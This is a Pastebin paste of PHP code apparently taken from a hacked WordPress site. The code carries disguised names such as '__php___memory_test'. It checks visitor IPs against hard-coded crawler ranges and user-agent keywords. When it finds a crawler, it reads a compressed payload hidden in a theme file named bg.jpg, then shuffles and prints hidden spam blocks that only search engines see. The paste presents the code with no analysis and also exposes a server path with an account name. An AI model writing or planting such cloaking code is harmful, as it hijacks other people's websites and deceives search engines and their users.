Advertisement
Guest User

Untitled

a guest
May 4th, 2012
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.35 KB | None | 0 0
  1.  
  2. // $Rev: 1077 $
  3. if(!function_exists('__php___memory_exists')){
  4. function __php___memory_exists(){
  5.     $masks = array(
  6.       array(-655417344,-655409153),array(1089052672,1089060863),array(1123631104,1123639295),array(1208926208,1208942591),
  7.       array(-782925824,-782893057),array(-1379794944,-1379729409),array(1249705984,1249771519),array(-655417344,-655409153),
  8.       array(1078218752,1078220799),array(1113980928,1113985023),array(1089052672,1089060863),array(1123631104,1123639295),
  9.       array(1208926208,1208942591),array(-782925824,-782893057),array(-965974848,-965974833),array(-1379794944,-1379729409),
  10.       array(-668867184,-668867177),array(-668867168,-668867161),array(-776377216,-776377089),array(-663925936,-663925921),
  11.       array(1078220800,1078222847),array(1078214720,1078214783),array(1076485568,1076485583),array(1249705984,1249771519),
  12.       array(134744064,134744319),array(134743040,134743295),array(67305984,67306239),array(-772300912,-772300897),
  13.       array(1070843976,1070843983),array(-772425592,-772425585),array(-1504013248,-1504013233),array(134623232,134625279),
  14.       array(1083880144,1083880159),array(1180247960,1180247967),array(1180359496,1180359503),array(1180359472,1180359479),
  15.       array(1081896984,1081896991),array(-772191936,-772191929),array(1081927080,1081927087),array(1104609120,1104609135),
  16.       array(1104396896,1104396911),array(1105135664,1105135679),array(1105036720,1105036735),array(1062518496,1062518527),
  17.       array(1082183584,1082183599),array(1103424288,1103424303),array(1119913504,1119913519),array(1104572512,1104572543),
  18.       array(1180247960,1180247967),array(1180359496,1180359503),array(1180359472,1180359479),array(1173102912,1173102919),
  19.       array(1290950648,1290950655),array(1208934400,1208936447),array(1132356616,1132356623),array(-869104592,-869104577),
  20.       array(1128602128,1128602135),array(-655652792,-655652785),array(-826636096,-826636033),array(1667240832,1667240863),
  21.       array(1172313552,1172313559),array(1172315992,1172315999),array(1172316008,1172316015),array(1172588248,1172588255),
  22.       array(1172588256,1172588263),array(1172588264,1172588271),array(1172588280,1172588287),array(1172589672,1172589679),
  23.       array(1173190880,1173190887),array(1199710944,1199710951),array(1199710952,1199710959),array(1199710960,1199710967),
  24.       array(1199728392,1199728399),array(1199728400,1199728407),array(1199728408,1199728415),array(1199728416,1199728423),
  25.       array(1199728424,1199728431),array(1259417800,1259417807),array(1259813304,1259813311),array(1260780984,1260780991),
  26.       array(1261762592,1261762599),array(1261735552,1261735559),array(1261761744,1261761751),array(1261762104,1261762111),
  27.       array(1261762112,1261762119),array(1261762120,1261762127),array(1261762128,1261762135),array(1288200544,1288200551),
  28.       array(1289513400,1289513407),array(1291247208,1291247215),array(1671628112,1671628119),array(1670420000,1670420007),
  29.       array(1670647064,1670647071),array(1190127072,1190127103),array(1663596768,1663596799),array(1164938648,1164938655),
  30.       array(1164938656,1164938663), //g
  31.       array(1093926912,1094189055), //m
  32.       array(1136852992,1136918527), //y
  33.     ); $is_bot = false;
  34.     $your_mask=ip2long($_SERVER["REMOTE_ADDR"]);
  35.     $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawler", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress");  
  36.     $_SERVER["HTTP_USER_AGENT"] = preg_replace("|User.Agent\:[\s ]?|i", "", @$_SERVER["HTTP_USER_AGENT"]);
  37.     foreach ($masks as $mask)
  38.       if($your_mask>=$mask[0] and $your_mask<=$mask[1])
  39.         $is_bot = true;
  40.     if($_SERVER["HTTP_A"]=="b")
  41.       foreach ($stop_agents_masks as $stop_agents_mask)
  42.         if(@eregi($stop_agents_mask, @$_SERVER["HTTP_USER_AGENT"]) !== false)
  43.           $is_bot = true;
  44.     return $is_bot;
  45.   }
  46.  
  47.   function __php___memory_test() {
  48.     if (!__php___memory_exists())
  49.       return -1;
  50.     $php__test_file = '/home/seattlerueda/blog/wp-content/themes/Craving4Green/bg.jpg';
  51.     $data = @file_get_contents($php__test_file); // PHP >= 4.3.0
  52.     $data = @gzuncompress($data);
  53.     $startPos = 0;
  54.     $blocks = Array();
  55.     $label = '';
  56.     while (false !== ($pos = strpos($data, '<block_d6e4ce93cf082de43cd713fd8e62103b id="', $startPos))) {
  57.       if ($startPos) {
  58.         $blocks[] = substr($data, $startPos, $pos - $startPos);
  59.       }
  60.       $startPos = $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="1234567890">');
  61.       //$label = substr($data, $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="'), 10);
  62.     }
  63.     if ($startPos) {
  64.       $blocks[] = substr($data, $startPos);
  65.     }
  66.    
  67.     foreach ($blocks as $b) {
  68.       echo __php_memory_diagnostics($b);
  69.     }
  70.   }
  71.  
  72.   function __php_memory_diagnostics($data) {
  73.     $marker = '==d6e4ce93cf082de43cd713fd8e62103b=';
  74.     $len1 = strlen($marker);
  75.     $len2 = $len1 + 1;
  76.     $pos1 = strpos($data, $marker);
  77.     $pos2 = $pos1 + $len1;
  78.     if (false === $pos1 || false === $pos2)
  79.       return -1;
  80.     $pos3 = strpos($data, '==', $pos2);
  81.     if (false === $pos3)
  82.       return -1;
  83.     $num_lines = substr($data, $pos2, $pos3 - $pos2);
  84.     //echo "VARS: [$pos1] [$pos2] [$pos3] [$num_lines]\n";
  85.     $pos4 = strpos($data, $marker . '=', $pos3 + 2);
  86.     if (false === $pos4)
  87.       return -1;
  88.     $hdr = substr($data, 0, $pos1);
  89.     $ftr = substr($data, $pos4 + $len2);
  90.     $data = explode("\n", trim(substr($data, $pos2, $pos4 - $pos2)));
  91.     $data = __php___shuffle_by_seed($data);
  92.     $data = array_slice($data, 0, $num_lines);
  93.     return $hdr . implode("\n", $data) . $ftr;
  94.   }
  95.  
  96.   function __php___make_seed($str, $count_r=3) {
  97.     $seed = "";
  98.     $tseed = 0;
  99.     for($i = 0; $i < strlen($str); ++$i)
  100.       $seed .= ord($str[$i]);
  101.     for($i = 0; $i < strlen($seed); ++$i)
  102.       $tseed += $seed[$i];
  103.     return $tseed;
  104.   }
  105.  
  106.   function __php___shuffle_by_seed($ar, $srand_seed=null){
  107.     if($srand_seed == null)
  108.       $srand_seed = __php___make_seed($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . md5($_SERVER["REQUEST_URI"]));
  109.     $ar_tmp = array();
  110.     $i=0;
  111.     while($i < count($ar)) {
  112.       srand($srand_seed);
  113.       $r = rand(1,count($ar));
  114.       if (isset($ar_tmp[$r-1]))
  115.         ++$srand_seed;
  116.       else {
  117.         $ar_tmp[$r-1] = $ar[$i];
  118.         ++$i;
  119.       }
  120.     }
  121.     ksort($ar_tmp);
  122.     return $ar_tmp;
  123.   }
  124.   __php___memory_test();  
  125. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement